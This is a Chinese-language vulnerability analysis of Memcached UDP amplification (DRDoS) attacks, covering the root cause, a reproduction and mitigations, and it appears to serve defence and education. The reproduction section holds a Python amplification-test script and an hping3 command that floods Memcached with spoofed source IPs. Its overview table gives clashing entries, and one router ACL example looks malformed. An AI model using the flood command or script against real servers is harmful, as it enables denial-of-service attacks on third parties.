一、漏洞简介

1.1 漏洞背景

分布式反射拒绝服务攻击(Distributed Reflection Denial of Service,DRDoS)利用 Memcached 的 UDP 协议特性,将请求数据包的源 IP 伪造成受害者 IP,使大量 Memcached 服务器向受害者发送响应数据,造成带宽耗尽。

2018 年 2 月,GitHub 遭受了史上最大的 DDoS 攻击(1.35 Tbps),攻击者利用了暴露在公网的 Memcached 服务器进行 DRDoS 攻击。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 DRDoS 放大攻击
披露时间 暂未找到权威信息
影响组件 Memcached 安全
属性 描述
CVE编号 无特定 CVE(协议设计问题)
危害等级 严重
CVSS评分 8.6 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
漏洞类型 DRDoS 放大攻击
放大倍数 最高可达 51,000 倍

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • 所有启用 UDP 协议且暴露在公网的 Memcached 版本

2.2 不受影响的版本

  • 禁用 UDP 协议的版本(使用 -U 0 参数)
  • 仅监听本地或内网的版本
  • 正确配置防火墙的部署

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Memcached 启用 UDP 协议(默认端口 11211)
  2. 服务暴露在公网
  3. 防火墙未过滤 UDP 流量
  4. 攻击者能够伪造源 IP 地址

三、漏洞详情与原理解析

3.1 漏洞触发机制

DRDoS 攻击流程:

1. 攻击者扫描互联网发现开放的 Memcached UDP 服务
2. 攻击者构造请求包 IP 伪造成受害者 IP
3. 请求发送到大量 Memcached 服务器
4. Memcached 服务器将响应发送给受害者反射
5. 由于响应数据远大于请求形成放大效应

放大倍数计算: - 典型请求:15 字节 - 典型响应:750,000 字节(存储大量数据的情况) - 放大倍数:750,000 / 15 ≈ 50,000 倍

Memcached UDP 协议格式:

Request Header (8 bytes):
+----------------+----------------+----------------+----------------+
| Request ID (2) | Sequence Num(2)| Total Pkts (2) | Reserved (2)   |
+----------------+----------------+----------------+----------------+
| Binary Protocol Request Body...                                   |
+----------------+----------------+----------------+----------------+

3.2 源码层面的根因分析(结合源码与补丁对比)

memcached.c 中,UDP 支持代码:

// UDP 监听设置
if (settings.udpport) {
    // 创建 UDP socket
    if (server_socket(settings.inter, settings.udpport,
                      transport_udp, base) != 0) {
        // 错误处理
    }
}

// UDP 数据包处理
static void drive_udp(conn *c) {
    // 直接处理请求,无源 IP 验证
    // 响应发送到数据包中的源地址
    if (c->request_addr_size > 0) {
        sendto(c->sfd, c->wbuf, c->wbytes, 0,
               (struct sockaddr *)&c->request_addr,
               c->request_addr_size);
    }
}

关键问题: 1. UDP 协议本身无连接,无法验证源 IP 2. Memcached 未对 UDP 请求进行速率限制 3. stats 等命令会返回大量数据

四、漏洞复现(可选)

4.1 环境搭建

警告:仅在授权的测试环境中进行

# 测试服务器启动 Memcached 并启用 UDP
memcached -d -u memcache -p 11211 -U 11211 -l 0.0.0.0

# 验证 UDP 端口
netstat -anup | grep 11211

4.2 PoC 演示与测试过程

测试脚本(仅用于授权测试)

#!/usr/bin/env python3
import socket
import struct

# Memcached UDP 请求头
def build_udp_header(request_id):
    # Request ID (2) + Sequence Number (2) + Total Packets (2) + Reserved (2)
    return struct.pack("!HHHH", request_id, 0, 1, 0)

# 构造 stats 命令
def build_stats_request():
    header = build_udp_header(1)
    # Binary protocol stats command
    # Magic (1) + Opcode (1) + Key Length (2) + Extras (1) +
    # Data Type (1) + Status (2) + Body Length (4) + Opaque (4) + CAS (8)
    body = struct.pack("!BBHBBHIIQ",
                       0x80,        # Request magic
                       0x10,        # Stats opcode
                       0,           # Key length
                       0,           # Extras length
                       0,           # Data type
                       0,           # VBucket ID
                       0,           # Body length
                       0,           # Opaque
                       0)           # CAS
    return header + body

# 测试放大效果
def test_amplification(target_ip, target_port=11211):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)

    request = build_stats_request()
    print(f"[*] Sending {len(request)} bytes request")

    sock.sendto(request, (target_ip, target_port))

    response, addr = sock.recvfrom(65535)
    print(f"[+] Received {len(response)} bytes response")
    print(f"[+] Amplification factor: {len(response) / len(request):.2f}x")

    sock.close()

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    test_amplification(sys.argv[1])

使用 hping3 测试(授权环境)

# 发送伪造源 IP 的 UDP 包到 Memcached
# 警告:这是攻击行为,仅用于授权测试
sudo hping3 --udp -p 11211 --flood --spoof <victim_ip> <memcached_server>

五、修复建议与缓解措施

5.1 官方版本升级建议

  • 升级到 Memcached 1.5.x 或更新版本
  • 新版本默认不启用 UDP

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:禁用 UDP 协议

# 启动时禁用 UDP
memcached -d -u memcache -U 0

# 或在配置文件中设置
# /etc/memcached.conf
-U 0

方案二:防火墙过滤

# 阻断外部 UDP 访问
iptables -A INPUT -p udp --dport 11211 -j DROP

# 仅允许内网访问
iptables -A INPUT -p udp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p udp --dport 11211 -j DROP

方案三:网络层面防护

# 在边界路由器上实施源 IP 验证(BCP 38)
# Cisco IOS 示例
access-list 101 deny ip any any
interface Serial0/0
 ip verify unicast source reachable-via any allow-default

# 或使用 uRPF (Unicast Reverse Path Forwarding)

方案四:速率限制

# 使用 iptables 限制连接速率
iptables -A INPUT -p udp --dport 11211 -m limit --limit 10/s --limit-burst 20 -j ACCEPT
iptables -A INPUT -p udp --dport 11211 -j DROP

六、参考信息 / 参考链接

6.1 官方安全通告

  • Memcached DDOS 防护指南: https://github.com/memcached/memcached/wiki/DDOS
  • GitHub 关于 1.35Tbps 攻击的公告: https://github.blog/2018-03-01-ddos-incident-report/

6.2 其他技术参考资料

  • US-CERT TA14-017A: Understanding Denial-of-Service Attacks
  • Cloudflare DRDoS 分析: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
  • Akamai 攻击分析报告